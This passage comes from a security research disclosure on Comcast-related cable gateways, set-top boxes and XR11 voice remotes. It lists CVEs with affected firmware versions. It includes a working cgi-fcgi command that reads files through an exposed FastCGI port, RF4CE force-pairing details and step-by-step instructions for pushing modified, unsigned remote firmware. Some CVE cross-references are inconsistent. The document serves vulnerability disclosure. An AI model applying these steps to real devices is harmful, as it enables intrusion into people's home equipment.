When a set-top box makes a request to a wireless gateway, the request comes in on the wan0 interface on the gateway. Therefore an attacker can access the web UI of a target gateway by using Send-to-TV to navigate to the following URL:

```
http://<IPv6 address of the target gateway>/
```

The attacker can then login using either hardcoded or daily generated credentials.

Vendor Disclosure

04/20/2017

Public Disclosure

07/27/2017

Known Affected Devices

- Cisco DPC3939
  - dpc3939-P20-18-v303r20421733-160420a-CMCST
  - dpc3939-P20-18-v303r20421746-170221a-CMCST
- Arris TG1682G
  - TG1682_2.2p7s2_PROD_sey
  - TG1682_2.5p3s1_PROD_sey
- Technicolor DPC3941T
  - DPC3941_2.5p2s1_PROD_sey

CVE-2017-9521: FastCGI / Unnecessary LAN-facing Services

Bastille Tracking Number 32

The FastCGI service used for the administrative web UI is exposed to the LAN, private Wi-Fi network, and hidden home security Wi-Fi network, on ports 1026-1029. Under normal circumstances, FastCGI is only accessible to a local web server instance, and is usually either bound to '127.0.0.1`, or a UNIX socket. On the affected devices, FastCGI is bound to`0.0.0.0"', enabling an attacker to leverage it for arbitrary file read, and in some cases, root command execution (CVE-2017-9485).

FastCGI provides a mechanism for web servers to read a file from disk, and optionally process it using an interpreter like PHP, *sh*, *perl*, etc. When a web server requests a PHP file through FastCGI, for example, FastCGI reads the PHP file from disk, executes any PHP code, and returns the result to the web server. A text file, on the other hand, will be returned unaltered.

An attacker can take advantage of this to request arbitrary files from the exposed FastCGI service on an affected gateway, using the `cgi-fcgi` command line utility.

The following command will read the firmware version from an affected gateway:

```
$ SCRIPT_FILENAME=/usr/www/version.txt cgi-fcgi -bind -connect <Gateway IP>:1026
X-Powered-By: PHP/5.3.2
Content-type: text/html

VERSION=dpc3939-P20-18-v303r20421746-170221a-CMCST
FSSTAMP=20170221163057
```

There were additional network services exposed to the LAN, beyond FastCGI. The syseventd service is vulnerable to root command execution (CVE-2017-9479), and the remaining services were either not investigated, or did not yield any vulnerabilities.

Vendor Disclosure

04/20/2017

Public Disclosure

07/27/2017

Known Affected Devices

- Cisco DPC3939
  - dpc3939-P20-18-v303r20421733-160420a-CMCST
  - dpc3939-P20-18-v303r20421746-170221a-CMCST
- Cisco DPC3939B
  - dpc3939b-v303r204217-150321a-CMCST

- Arris TG1682G
  - TG1682_2.2p7s2_PROD_sey
  - TG1682_2.5p3s1_PROD_sey
- Technicolor DPC3941T
  - DPC3941_2.5p2s1_PROD_sey

CVE-2017-9489, CVE-2017-9490: Cross Site Request Forgery

Bastille Tracking Number 33

The administrative web UI on multiple gateways was found to be vulnerable to cross-site request forgery.

Vendor Disclosure

04/20/2017

Public Disclosure

07/27/2017

Known Affected Devices

- Cisco DPC3939B
  - dpc3939b-v303r204217-150321a-CMCST
- Arris TG1682G
  - TG1682_2.2p7s2_PROD_sey

Insufficient Anti-Automation

Bastille Tracking Number 34

Insufficient anti-automation occurs when an application does not implement any protections that prevent users from automating sensitive application interaction. The strongest form of anti-automation is typically a CAPTCHA, whereas a stop-gap is often the use of rate-limiting. In the case of the modems identified in this disclosure, no anti-automation controls were observed on application login functionality. This, paired with the lack of CSRF (Cross-Site Request Forgery) protections, significantly increases the risk associated with CSRF exploitation.

Vendor Disclosure

04/20/2017

Public Disclosure

07/27/2017

Known Affected Devices

- Cisco DPC3939
  - dpc3939-P20-18-v303r20421733-160420a-CMCST
  - dpc3939-P20-18-v303r20421746-170221a-CMCST
- Cisco DPC3939B

  - dpc3939b-v303r204217-150321a-CMCST
- Arris TG1682G
  - TG1682_2.2p7s2_PROD_sey
  - TG1682_2.5p3s1_PROD_sey
- Technicolor DPC3941T
  - DPC3941_2.5p2s1_PROD_sey

CVE-2017-9491, CVE-2017-9492: Improper Cookie Flags

Bastille Tracking Number 35

Improper cookie flags occurs when the cookies used by an application do not make use of the security flags defined in the HTTP cookie standard. The flags in question are (1) the secure flag, which instructs the browser to only submit the cookie alongside requests that use HTTPS and (2) the HTTP only flag, which instructs the browser to not expose the contents of the cookie to a browser's JavaScript context. In the case of the modems identified in this disclosure, the session cookies used by modem management portals had neither of these flags enabled. While the secure flag is not necessary, the HTTP only flag should be present on all cookies (other than CSRF protection cookies) used by the management applications.

Vendor Disclosure

04/20/2017

Public Disclosure

07/27/2017

Known Affected Devices

- Cisco DPC3939
  - dpc3939-P20-18-v303r20421733-160420a-CMCST
  - dpc3939-P20-18-v303r20421746-170221a-CMCST
- Cisco DPC3939B
  - dpc3939b-v303r204217-150321a-CMCST
- Arris TG1682G
  - TG1682_2.2p7s2_PROD_sey
  - TG1682_2.5p3s1_PROD_sey
- Technicolor DPC3941T
  - DPC3941_2.5p2s1_PROD_sey

Insufficient HTTP Security Headers

Bastille Tracking Number 36

The insufficient HTTP security headers vulnerability occurs when a web application does not make use of standardized HTTP response headers that improve the security posture of the affected application. Many of these HTTP response headers require trivial amounts of effort to implement, and offer significant protections for application users. The headers that are relevant to the modems identified here are as follows:

- X-Frame-Options - This header enables application authors to specify which (if any) parent domains have permission to place the application inside an Iframe.
- X-XSS-Protection - This header forces browsers to enable their cross-site scripting protection engines in the event that the engine has been disabled for any reason.

- X-Content-Type-Options - This header instructs browsers not to attempt to determine the MIME type of served data and instead rely on the MIME type provided by the server. This protects against attacks that use type confusion to get a browser to render data as a content type that it is not (i.e. render XML as HTML).
- Content-Security-Policy - This header enables application authors to provide a whitelist of sources where third-party resources can be retrieved from (JavaScript, CSS, images, etc), what sort of applets can be run (Java, Flash, etc), and in what scenarios JavaScript can be run. Having a strict content security policy can protect against a significant amount of client-side vulnerabilities, and can even mitigate cross-site scripting in many scenarios.

Vendor Disclosure

04/20/2017

Public Disclosure

07/27/2017

Known Affected Devices

- Cisco DPC3939
  - dpc3939-P20-18-v303r20421733-160420a-CMCST
  - dpc3939-P20-18-v303r20421746-170221a-CMCST
- Cisco DPC3939B
  - dpc3939b-v303r204217-150321a-CMCST
- Arris TG1682G
  - TG1682_2.2p7s2_PROD_sey
  - TG1682_2.5p3s1_PROD_sey
- Technicolor DPC3941T
  - DPC3941_2.5p2s1_PROD_sey

CVE-2017-9493: Voice Remote Forced Pairing

Bastille Tracking Number 37

The affected set-top box includes support for RF4CE (ZigBee) remote controls. When a user purchases a new RF4CE remote, they first need to pair it with their set-top box.

Under normal circumstances, pairing[27] is achieved as follows:

1. With the TV and set-top box powered on, press the *Setup* button on the remote until the top LED changes from red to green.
2. Press the *xfinity* button on the remote, and the LED will begin flashing green.
3. At this point, a 3 digit pairing code is displayed on the TV. Once the code has been entered into the remote, it is successfully paired to the TV.

During the pairing process, the primary constraint is that pairing will fail after 5 attempts, but there is no rate limiting on the number of successive pairing attempts that can be made.

Using an EVAL-ADF7242-PMDZ coupled with a Teensy 3.6, it was demonstrated that a spoofed RF4CE remote can be paired with a target set-top box. In practice, this took approximately two hours.

Once the spoofed RF4CE remote has been force-paired with a target set-top box, it can be used to achieve arbitrary file read and root command execution (CVE-2017-9495 and CVE-2017-9497).

Vendor Disclosure

04/28/2017

Public Disclosure

07/27/2017

Known Affected Devices

- Motorola MX011ANM
  - MX011AN_2.9p6s1_PROD_sey

CVE-2017-9494: Internet-Facing Remote Web Inspector

Bastille Tracking Number 38

RDK-V based set-top boxes render video and UI elements in a WebKit-based web browser. In order to debug set-top box applications, developers can use the WebKit remote inspector as they would with any other web app. When enabled, the remote inspector was accessible to the public Internet using the IPv6 address of the set-top box.

There are two methods to enable the WebKit remote inspector on an affected set-top box:

1. Plug a keyboard into a USB port on the back of the set-top box, and enter the key sequence *CTRL+ALT+W*.
2. Using a RF4CE remote, which can be force-paired with a set-top box (CVE-2017-9491), hold down the *EXIT* key for two seconds, and then enter *DOWN->DOWN->9->3->2*.

Using either method, the set-top box will display a confirmation message at the top of the TV screen. Once the remote web inspector has been enabled, it can be used for arbitrary file read (CVE-2017-9495) and root command execution (CVE-2017-9495).

Vendor Disclosure

04/28/2017

Public Disclosure

07/27/2017

Known Affected Devices

- Motorola MX011ANM
  - MX011AN_2.9p6s1_PROD_sey

CVE-2017-9495: Arbitrary File Read

Bastille Tracking Number 39

The affected set-top box includes a diagnostic menu, which can be enabled using an RF4CE remote. While the diagnostic menu is displayed on the screen, the remote web inspector (CVE-2017-9494) JavaScript console can be used to interact with scripts that would not normally be accessible.

Using an RF4CE remote, which can be force-paired with a set-top box (CVE-2017-9491), the diagnostics menu can be enabled by holding down the *EXIT* key for two seconds, and then entering *DOWN->DOWN->2*.

When the diagnostic menu and remote web inspector are both enabled, it is possible to read arbitrary files on the set-top box via a POST request to a script used by the diagnostic menu.

`http://127.0.0.1:50050/<path/to/script>`

Vendor Disclosure

04/28/2017

Public Disclosure

07/27/2017

Known Affected Devices

- Motorola MX011ANM
  - MX011AN_2.9p6s1_PROD_sey

CVE-2017-9496: SNMP Over STB Ethernet

Bastille Tracking Number 40

The Motorola MX011ANM includes an Ethernet port, which upon first glance appears to be inactive. Assuming a similar addressing scheme to the wireless gateways, which use a clustered range of MAC addresses and IPv6 addresses based on these MAC addresses, it is possible to infer the link local IPv6 address of the Ethernet port.

The SNMP server running on the set-top box is accessible via the link local IPv6 address of the Ethernet port. The community string can be obtained by reading a the SNMP configuration file on the set-top box with CVE-2017-9496.

Vendor Disclosure

04/28/2017

Public Disclosure

07/27/2017

Known Affected Devices

- Motorola MX011ANM
  - MX011AN_2.9p6s1_PROD_sey

CVE-2017-9497: Root Command Execution

Bastille Tracking Number 41

A process similar to CVE-2017-9495 can be used to achieve root command execution on an affected set-top box. Using an RF4CE remote, which can be force-paired with a set-top box (CVE-2017-9491), an attacker can enable both the remote web inspector and diagnostic menu on the target set-top box. It is then possible to execute arbitrary commands as root via a POST request to a script that is accessible when both the remote web inspector and diagnostic menu are enabled.

`http://127.0.0.1:50050/<path/to/script>`

Vendor Disclosure

04/28/2017

Public Disclosure

07/27/2017

Known Affected Devices

- Motorola MX011ANM
  - MX011AN_2.9p6s1_PROD_sey

CVE-2017-9498: Voice Remote OTA Firmware Update

Bastille Tracking Number 42

Xfinity XR11-20 voice remotes support OTA (over-the-air) firmware updates, however the updates are not signed. Once an attacker has gained code execution ability on an affected set-top box, it is possible to use the included firmware update utilities to push malicious firmware to a target voice remote paired with the set-top box.

Vendor Disclosure

04/28/2017

Public Disclosure

07/27/2017

Known Affected Devices

- Motorola MX011ANM
  - MX011AN_2.9p6s1_PROD_sey
- Xfinity XR11-20 Voice Remote
  - 1.0.1.0

Voice Remote Attacks

Overview

In this section we will be detailing attack vectors affecting the XR11 voice remote. The first section details how an attacker can force-pair a fake remote with a set top box (STB). The second section describes how an attacker can force a firmware update on an XR11 voice remote.

Force Pairing

In normal operation, an end-user pairs an XR11 voice remote with their STB by:

1. Holding down the Setup button until the remote LED changes from red to green
2. Pressing the xfinity button until instructions appear on screen
3. Entering a three-digit code which corresponds to the one displayed on the television.

We found that this process is not rate limited by the STB, allowing an attacker to make a complete pairing attempt in under one second. In practice, this allows an attacker to force pair a remote with the target STB in under two hours.

In the rest of this section we describe the specifications used in the attack, and required elements from the specifications to conduct the attack.

IEEE 802.15.4

IEEE 802.15.4 is a wireless specification for the physical and MAC (media access control) layers for LR-WPANs (low-rate wireless personal area networks). The goal of IEEE 802.15.4 is to be the defacto standard for low cost, low energy, and low data-rate wireless applications in the 868MHz, 915MHz, and 2.4GHz ISM bands.

The standard is general and offers multiple PHY layers so that higher-level specifications can tailor which attributes of IEEE 802.15.4 they want to leverage to either maximize data throughput, conserve energy, or reduce manufacturing costs.

The ability to tune IEEE 802.15.4 to specific applications is one of the main reasons it is the lowest part of the stack for other specifications such as Zigbee, 6LoWPAN, Thread, and WirelessHART.

RF4CE

RF4CE (Radio Frequency for Consumer Electronics) is a Zigbee standard which is built on IEEE 802.15.4 for remote control applications. The standard adds network and application layers to IEEE 802.15.4. One of the primary differences between RF4CE and Zigbee is RF4CE is built for two-way communications between devices instead of mesh networks. The removal of the more advanced Zigbee networking capabilities allows RF4CE to have a very low memory requirement and an overall simpler implementation.

Compared to IR-based remote controls which the standard was primarily built to replace, RF4CE offers better battery life, two-way communications, does not require line-of-sight, and offers secure communications.[&rf4ce]

Basic Operation

Within an RF4CE network, devices take on either the role of target or controller. The target node is the PAN coordinator, controls pairing success, and controls frequency agility. The controller node initiates the discovery and pairing processes, and sends commands to the target. A controller can be paired with multiple targets, and multiple controllers can be paired with a single target.

Frequency Agility

RF4CE offers frequency agility over three physical channels based at 2.425 GHz, 2.450 GHz, and 2.475 GHz. The target sets the desired channel, and when adverse conditions are encountered will switch to another channel. The controller attempts to transmit on the channel the target was previously at, and when no response is made will cycle through the other channels until it has reestablished communications with the target.

Discovery Process

An RF4CE node can perform discovery across all three channels until it finds a suitable node to pair with. As part of the discovery process, the nodes exchange their capabilities, vendor information, application information, and type of device they wish to pair with. Once a suitable node is found, the originator initiates the pairing process.

Pairing Process

Nodes may only communicate with one another if they have established a pairing link. During the pairing process nodes exchange information comparable to that in the discovery process, and the target node can either accept or reject the pairing request. If the targets accepts, the two nodes store information about the pairing in a pairing table, the contents of which are:

- Pairing reference
- Source network address
- Destination logical channel
- Destination IEEE address
- Destination PAN identifier
- Destination network address
- Recipient node capabilities
- Recipient frame counter
- Security link key (if supported by both nodes)

Security

RF4CE communications optionally use AES-128 in CCM* mode. AES-CCM* provides confidentiality, authentication through a message integrity code, and replay protection with a frame counter. If both devices support AES-CCM* then a key exchange takes place as part of the pairing process. The AES-128 key is sent from the target to the controller in the clear contained in multiple key exchange packets, which the controller can recover if it receives every key exchange packet. The motivation for sending multiple key exchange packets is to force an attacker to sniff every packet transmitted by the target to be able to recover the key.

Key Exchange

The AES-128 key is generated by the target and sent to the controller in multiple key exchange packets of the below format, where length of seed data (80 bytes) is five times that of the AES-128 key (16 bytes).

Table 1: Format of the key seed command frame

1 octet	4 octets	1 octet	1 octet	80 octets
Frame Control	Frame Counter	Command identifier	Seed sequence number	Seed data

Once the controller has received all the key seed command frames, the key is recovered through the following algorithm:

1. The target XORs all the seed data together
2. The target splits the result of step one into five equal 16 byte blocks, and XORs them all together to produce the AES-128 key.

Key Exchange Validation

Once the controller has recovered the AES-128 key, it then must demonstrate the key's validity. This is accomplished by sending an encrypted ping request packet to the target with an arbitrary four-byte payload and a ping options field of 0x00.

Table 2: Format of the ping request and ping response command frames

1 octet	4 octets	1 octet	1 octet	variable	4 octets
Frame Control	Frame Counter	Command identifier	Ping options	Ping payload	NFR fields

The target decrypts the packet, validates the MIC, and responds with an encrypted ping response packet which contains the same payload and ping options as the ping request. Once the controller subsequently validates the payload contents of the ping response the two nodes are paired and add entries to their respective pairing tables.

RF4CE Multiple System Operators

The RF4CE Multiple System Operators (MSO) Profile, created and maintained by CableLabs as a part of OpenCable, is an extension of the RF4CE protocol. The profile allows all cables devices that support the profile to be controlled by compatible controllers.

Basic Operation

The specification defines how key presses are transmitted, how the binding process of remote-to-cable equipment works, and how data can be both queried and stored on remotes and cable equipment through attributes. In this standard the remote is the RF4CE controller and cable equipment is the RF4CE target.

The primary use case for querying of attributes is so cable equipment can transfer IR codes to the remote so that it can seamlessly control both the cable equipment and television.

Binding Process

The binding process defines the process of creating an RF4CE MSO pairing. Once a remote and STB are bound, the STB will respond to remote keypresses. The binding process begins with RF4CE discovery and pairing. After the RF4CE pairing, the remote and STB begin the validation process. Once the validation process is successfully completed, the remote and STB are bound and operable.

Validation Process

During the validation process the remote sends keypresses to the STB which should correspond to the digits displayed on the television that the STB is connected to. The remote periodically sends check validation request packets to the STB to ascertain the validation status. The STB can respond with the following codes:

Table 3: Check Validation Status Codes

Success	0x00
Pending	0xc0
Time Out	0xc1
Collision	0xc2
Failure	0xc3
Abort	0xc4
Full Abort	0xc5

On a successful validation attempt, the STB will respond with zero or more 0xc0 pending codes until the three-digit code is entered. On the subsequent check validation request the STB will respond with 0x00 indicating the remote and STB are bound.

On a failed validation attempt, the STB will end the validation process with a code from 0xc1-0xc5 at which point the STB will stop responding to check validation requests and will remove the temporary RF4CE pairing between the remote and STB.

Implementation

Source code for the RF4CE implementation developed for this research will be released during the DEF CON talk, along with an updated whitepaper linking to the code on GitHub.

An aside: Line-of-Sight Auto-Binding (Ghost Codes)

The XR11 remote offers the ability to bind without first going through the RF4CE validation process. This feature relies on transmitting ghost codes over IR along with RF4CE to prove locality with the STB. Part of the auto-binding process can be seen here:

`https://github.com/rdkcmf/rdk-iarmmgrs/blob/29f6d77591790381188d5e8dcd85fb921d3fc97f/ir/irMgr.c`

Remote Updating

Overview

The XR11 remote supports over-the-air (OTA) upgrading which facilitates wireless software updating of the remote firmware. When a new firmware package is pushed to the STB, the STB pushes the firmware payload to the remote during periods of inactivity so that the end user's experience is not affected by the updating process.

By making slight modifications to the updating service binary and firmware package on the STB, we successfully modified and updated an XR11 remote. This is possible due to the lack of signed firmware packages.

After compromising a user's STB, an attacker can repurpose the user's voice remote to make use of any of the XR11's features and peripherals, such as its radio, its microphone or infrared transducer. This can be accomplished in the following way:

- Make the necessary modifications to the STB OTA daemon to configure the daemon to push a firmware package controlled by the attacker.
- Make the necessary modifications to the firmware package to modify the remote's behavior while still passing whatever validation steps are in place for the OTA process.

Fortunately for the attacker, the firmware package is only protected by a CRC instead of any cryptographic authentication functions. This makes it trivial for the attacker to modify the firmware package and get it pushed to a vulnerable remote.

The update server binary (*deviceUpdateMgrMain*)

The source code for the OTA update daemon is located here:

`https://github.com/rdkcmf/rdk-iarmmgrs/tree/master/deviceUpdateMgr`.

We found this binary and source code by searching GitHub for keywords relating to RF4CE, XR11, and update, and by searching through the verbose logs located in `/opt/logs/` and finding rf4ce_log.txt. An excerpt of rf4ce_log.txt:

```
-- Logs begin at Thu 1970-01-01 00:00:08 UTC, end at Thu 2017-04-06 01:42:45 UTC. --
Apr 06 01:42:14 arrisxg1v1 systemd[1]: Starting RF4CE Service...
Apr 06 01:42:15 arrisxg1v1 systemd[1]: Started RF4CE Service.
Apr 06 01:42:15 arrisxg1v1 systemd[1]: Starting IARM Mgr Daemon Device Update Mgr...
Apr 06 01:42:15 arrisxg1v1 systemd[1]: Started IARM Mgr Daemon Device Update Mgr.
Apr 06 01:42:16 arrisxg1v1 deviceUpdateMgrMain[2398]: DIUMGR: Date is 2017/04/06
Apr 06 01:42:16 arrisxg1v1 deviceUpdateMgrMain[2398]: DIUMGR: Time is 01:42
```

```
Apr 06 01:42:16 arrisxg1v1 deviceUpdateMgrMain[2398]: DIUMGR: Entering [deviceUpdateStart] - \
                                                      DeviceUpdateManager] - disabling io redirect buf
Apr 06 01:42:16 arrisxg1v1 deviceUpdateMgrMain[2398]: IARM_Init group name = com.comcast.rdk.iarm.bus \
                                                      member name = DeviceUpdateManager
Apr 06 01:42:16 arrisxg1v1 deviceUpdateMgrMain[2398]: setting init done
Apr 06 01:42:16 arrisxg1v1 deviceUpdateMgrMain[2398]: DIUMGR: dumMgr:I-ARM IARM_Bus_Init Mgr: 0
Apr 06 01:42:16 arrisxg1v1 deviceUpdateMgrMain[2398]: Registering DeviceUpdateManager
Apr 06 01:42:16 arrisxg1v1 deviceUpdateMgrMain[2398]: DIUMGR: dumMgr:I-ARM IARM_Bus_Connect Mgr: 0
Apr 06 01:42:16 arrisxg1v1 deviceUpdateMgrMain[2398]: DIUMGR: dumMgr:I-ARM IARM_Bus_RegisterEvent Mgr: 0
Apr 06 01:42:16 arrisxg1v1 deviceUpdateMgrMain[2398]: DIUMGR: dumMgr:I-ARM IARM_BUS_DEVICE_UPDATE_API_AcceptUpdate Mgr: 0
Apr 06 01:42:16 arrisxg1v1 deviceUpdateMgrMain[2398]: [tid=2398]: 170406-01:42:16:101547 DIUMGR: loading config \
                                                      file /etc/deviceUpdateConfig.json
Apr 06 01:42:16 arrisxg1v1 deviceUpdateMgrMain[2398]: got array start
Apr 06 01:42:16 arrisxg1v1 deviceUpdateMgrMain[2398]: got array end
Apr 06 01:42:16 arrisxg1v1 deviceUpdateMgrMain[2398]: exit array
Apr 06 01:42:16 arrisxg1v1 deviceUpdateMgrMain[2398]: DIUMGR: setting  backgroundDownload=true
Apr 06 01:42:16 arrisxg1v1 deviceUpdateMgrMain[2398]: DIUMGR: setting  loadImageImmediately=false
Apr 06 01:42:16 arrisxg1v1 deviceUpdateMgrMain[2398]: DIUMGR: setting delayTillAnnounceTimeMin=5
Apr 06 01:42:16 arrisxg1v1 deviceUpdateMgrMain[2398]: [tid=2398]: 170406-01:42:16:139783 DIUMGR: running with config:
Apr 06 01:42:16 arrisxg1v1 deviceUpdateMgrMain[2398]: DIUMGR:    serverUpdatePath= /srv/device_update/
Apr 06 01:42:16 arrisxg1v1 deviceUpdateMgrMain[2398]: DIUMGR:    tempFilePath=/tmp/devUpdate/
Apr 06 01:42:16 arrisxg1v1 deviceUpdateMgrMain[2398]: DIUMGR:    interactiveDownload=false
Apr 06 01:42:16 arrisxg1v1 deviceUpdateMgrMain[2398]: DIUMGR:    interactiveLoad=false
Apr 06 01:42:16 arrisxg1v1 deviceUpdateMgrMain[2398]: DIUMGR:    loadDelayType=1
Apr 06 01:42:16 arrisxg1v1 deviceUpdateMgrMain[2398]: DIUMGR:    loadTimeAfterInactive=0
Apr 06 01:42:16 arrisxg1v1 deviceUpdateMgrMain[2398]: DIUMGR:    timeToLoad=0
Apr 06 01:42:16 arrisxg1v1 deviceUpdateMgrMain[2398]: DIUMGR:    backgroundDownload=true
Apr 06 01:42:16 arrisxg1v1 deviceUpdateMgrMain[2398]: DIUMGR:    loadImageImmediately=false
Apr 06 01:42:16 arrisxg1v1 deviceUpdateMgrMain[2398]: DIUMGR:    loadBeforeHour=9
Apr 06 01:42:16 arrisxg1v1 deviceUpdateMgrMain[2398]: DIUMGR:    requestedPercentIncrement=10
Apr 06 01:42:16 arrisxg1v1 deviceUpdateMgrMain[2398]: DIUMGR:    recheckForUpdatesMin=0
Apr 06 01:42:16 arrisxg1v1 deviceUpdateMgrMain[2398]: DIUMGR:    delayTillAnnounceTimeMin=5
```

Searching for keywords such as serverUpdatePath on GitHub led to the discovery of deviceUpdateConfig.json. deviceUpdateMgrMain monitors a few directories for changes, and when a new update is found it is pushed to the compatible remote according the the deviceUpdateConfig.json settings. Unfortunately, the path `/srv/device_update` is not mounted read-write, so the path must be changed to one with read-write permissions where a modified firmware package may be placed.

Modifying the update binary

Both the update daemon and configuration file are located on read-only partitions. Our first step is to copy these files to a writeable partition and confirm they are still operable at their new respective paths. When we run strings on deviceUpdateMgrMain we find that `/etc` is one of the strings in the binary, leading us to believe it is a hardcoded path. The configuration file is located at `/etc/deviceUpdateConfig.json`. Fortunately this is easily changed through some simple hex editing to `/opt`. After making this change, copying both files to a writeable partition, and restarting the daemon the following is found in rf4ce_log.txt:

```
Apr 21 23:27:23 arrisxg1v1 systemd[1]: Starting RF4CE Service...
Apr 21 23:27:24 arrisxg1v1 systemd[1]: Started RF4CE Service.
Apr 21 23:27:24 arrisxg1v1 systemd[1]: Starting IARM Mgr Daemon Device Update Mgr...
Apr 21 23:27:24 arrisxg1v1 systemd[1]: Started IARM Mgr Daemon Device Update Mgr.
Apr 21 23:27:24 arrisxg1v1 deviceUpdateMgrMain[2423]: DIUMGR: Date is 2017/04/21
Apr 21 23:27:24 arrisxg1v1 deviceUpdateMgrMain[2423]: DIUMGR: Time is 23:27
Apr 21 23:27:24 arrisxg1v1 deviceUpdateMgrMain[2423]: DIUMGR: Entering [deviceUpdateStart] - \
                                                      [DeviceUpdateManager] - disabling io redirect buf
Apr 21 23:27:24 arrisxg1v1 deviceUpdateMgrMain[2423]: IARM_Init group name = com.comcast.rdk.iarm.bus \
                                                      member name = DeviceUpdateManager
Apr 21 23:27:24 arrisxg1v1 deviceUpdateMgrMain[2423]: setting init done
Apr 21 23:27:24 arrisxg1v1 deviceUpdateMgrMain[2423]: DIUMGR: dumMgr:I-ARM IARM_Bus_Init Mgr: 0
Apr 21 23:27:24 arrisxg1v1 deviceUpdateMgrMain[2423]: Registering DeviceUpdateManager
Apr 21 23:27:24 arrisxg1v1 deviceUpdateMgrMain[2423]: DIUMGR: dumMgr:I-ARM IARM_Bus_Connect Mgr: 0
Apr 21 23:27:24 arrisxg1v1 deviceUpdateMgrMain[2423]: DIUMGR: dumMgr:I-ARM IARM_Bus_RegisterEvent Mgr: 0
Apr 21 23:27:24 arrisxg1v1 deviceUpdateMgrMain[2423]: DIUMGR: dumMgr:I-ARM IARM_BUS_DEVICE_UPDATE_API_AcceptUpdate Mgr: 0
Apr 21 23:27:24 arrisxg1v1 deviceUpdateMgrMain[2423]: [tid=2423]: 170421-23:27:24:918484 DIUMGR: loading config \
                                                      file /opt/deviceUpdateConfig.json
Apr 21 23:27:24 arrisxg1v1 deviceUpdateMgrMain[2423]: got array start
Apr 21 23:27:24 arrisxg1v1 deviceUpdateMgrMain[2423]: got array end
Apr 21 23:27:24 arrisxg1v1 deviceUpdateMgrMain[2423]: exit array
Apr 21 23:27:24 arrisxg1v1 deviceUpdateMgrMain[2423]: DIUMGR: setting  backgroundDownload=false
Apr 21 23:27:24 arrisxg1v1 deviceUpdateMgrMain[2423]: DIUMGR: setting  loadImageImmediately=true
Apr 21 23:27:24 arrisxg1v1 deviceUpdateMgrMain[2423]: DIUMGR: setting delayTillAnnounceTimeMin=1
Apr 21 23:27:24 arrisxg1v1 deviceUpdateMgrMain[2423]: [tid=2423]: 170421-23:27:24:935048 DIUMGR: running with config:
Apr 21 23:27:24 arrisxg1v1 deviceUpdateMgrMain[2423]: DIUMGR:    serverUpdatePath= /opt/device_update/
Apr 21 23:27:24 arrisxg1v1 deviceUpdateMgrMain[2423]: DIUMGR:    tempFilePath=/opt/devUpdate/
Apr 21 23:27:24 arrisxg1v1 deviceUpdateMgrMain[2423]: DIUMGR:    interactiveDownload=false
Apr 21 23:27:24 arrisxg1v1 deviceUpdateMgrMain[2423]: DIUMGR:    interactiveLoad=false
Apr 21 23:27:24 arrisxg1v1 deviceUpdateMgrMain[2423]: DIUMGR:    loadDelayType=1
Apr 21 23:27:24 arrisxg1v1 deviceUpdateMgrMain[2423]: DIUMGR:    loadTimeAfterInactive=0
```

```
Apr 21 23:27:24 arrisxg1v1 deviceUpdateMgrMain[2423]: DIUMGR:    timeToLoad=0
Apr 21 23:27:24 arrisxg1v1 deviceUpdateMgrMain[2423]: DIUMGR:    backgroundDownload=false
Apr 21 23:27:24 arrisxg1v1 deviceUpdateMgrMain[2423]: DIUMGR:    loadImageImmediately=true
Apr 21 23:27:24 arrisxg1v1 deviceUpdateMgrMain[2423]: DIUMGR:    loadBeforeHour=23
Apr 21 23:27:24 arrisxg1v1 deviceUpdateMgrMain[2423]: DIUMGR:    requestedPercentIncrement=1
Apr 21 23:27:24 arrisxg1v1 deviceUpdateMgrMain[2423]: DIUMGR:    recheckForUpdatesMin=1
Apr 21 23:27:24 arrisxg1v1 deviceUpdateMgrMain[2423]: DIUMGR:    delayTillAnnounceTimeMin=1
```

Firmware Package Contents

The firmware package, a gzip compressed tar file (tgz), contains two files:

```
firmware.bin
image.xml
```

firmware.bin is the firmware which is pushed to the remote. image.xml contains metadata about firmware.bin.

An example of image.xml contents:

```
<?xml version="1.0" ?>
<image:description xmlns:image="http://www.uei.com">
  <image:fileName>firmware.bin</image:fileName>
  <image:size>124624</image:size>
  <image:CRC>0x02acbd71</image:CRC>
  <image:softwareVersion>1.1.1.1</image:softwareVersion>
  <image:type>1</image:type>
  <image:hardwareManufacturer>2</image:hardwareManufacturer>
  <image:hardwareSoCManufacturer>1</image:hardwareSoCManufacturer>
  <image:hardwareVersion>2.1</image:hardwareVersion>
  <image:productName>XR11-20</image:productName>
  <image:bootLoaderVersionMin>0.0.0.0</image:bootLoaderVersionMin>
  <image:hardwareVersionMin>0.0</image:hardwareVersionMin>
</image:description>
```

The three fields which must changed are size, crc, and softwareVersion. size and crc must be changed for the firmware package to pass validation and be pushed to the remote, softwareVersion needs to be changed to force the update procedure.

Firmware Format

Since we have a lead on the CRC, we will first try and figure out what part of the firmware package the crc in image.xml corresponds to. Since it is a four-byte CRC we will first try CRC-32.

We quickly write a script to check the CRC for every offset in firmware.bin to see if the CRC in image.xml corresponds to a subset of firmware.bin.

```
$ for i in {1..124624};  \
    do \
      tail -c +$i firmware.bin > f2.bin && echo -n $i" " && crc32 f2.bin; \
    done | grep 02acbd71
37 02acbd71
```

It now appears that firmware.bin is constructed from two parts, a 36-byte header and the payload which is sent over the air.

We now inspect the header portion of firmware.bin:

```
0000000: d0e6 0100 71bd ac02 0101 0101 0103 2201  ....q.........".
0000010: 5852 3131 2d32 3000 0000 0000 0000 0000  XR11-20.........
0000020: 0000 0001
```

It appears 0x04-0x0x07 contains the CRC of the firmware payload and 0x08-0x0c contains the version corresponding to softwareVersion in image.xml. The softwareVersion offset could also start at 0x09, but the alignment at 0x08 seems

more likely, and we can always test this later by attempting an OTA and checking the output of deviceUpdateMgrMain and the contents of `/opt/logs/rf4ce_logs.txt`.

On the STB we can easily check the firmware version of the remote, so we will try and modify the reported software version. Since the current version is 1.1.1.1 and we speculate that the softwareVersion in the header is stored as 0x01 0x01 0x01 0x01, let's do a search for that hex string in firmware.bin.

We run xxd -p firmware.bin| tr -d '\n' | grep -bo 01010101 and get the results:

```
16:01010101
18782:01010101
```

Testing Procedure

The testing procedure is to:

1. Modify the firmware payload at offset 18782 to have a new softwareVersion which we can check with the STB remote setting menu.
2. Modify the firmware header to contain the new softwareVersion and CRC of the modified firmware payload.
3. Modify image.xml to have softwareVersion and CRC matching the firmware payload.
4. Restart the update daemon.

After restarting the update daemon, the STB will push the new firmware to the XR-11 remote. We can confirm the successful OTA by checking the reported version number of the remote in the STB remote menu.

Future Work

RF4CE and RF4CE MSO Fuzzing

The included source code should serve as a good foundation for fuzzing both XR11 and STB behavior. The verbose logging of the STB will be invaluable in this process.

Firmware Reverse Engineering

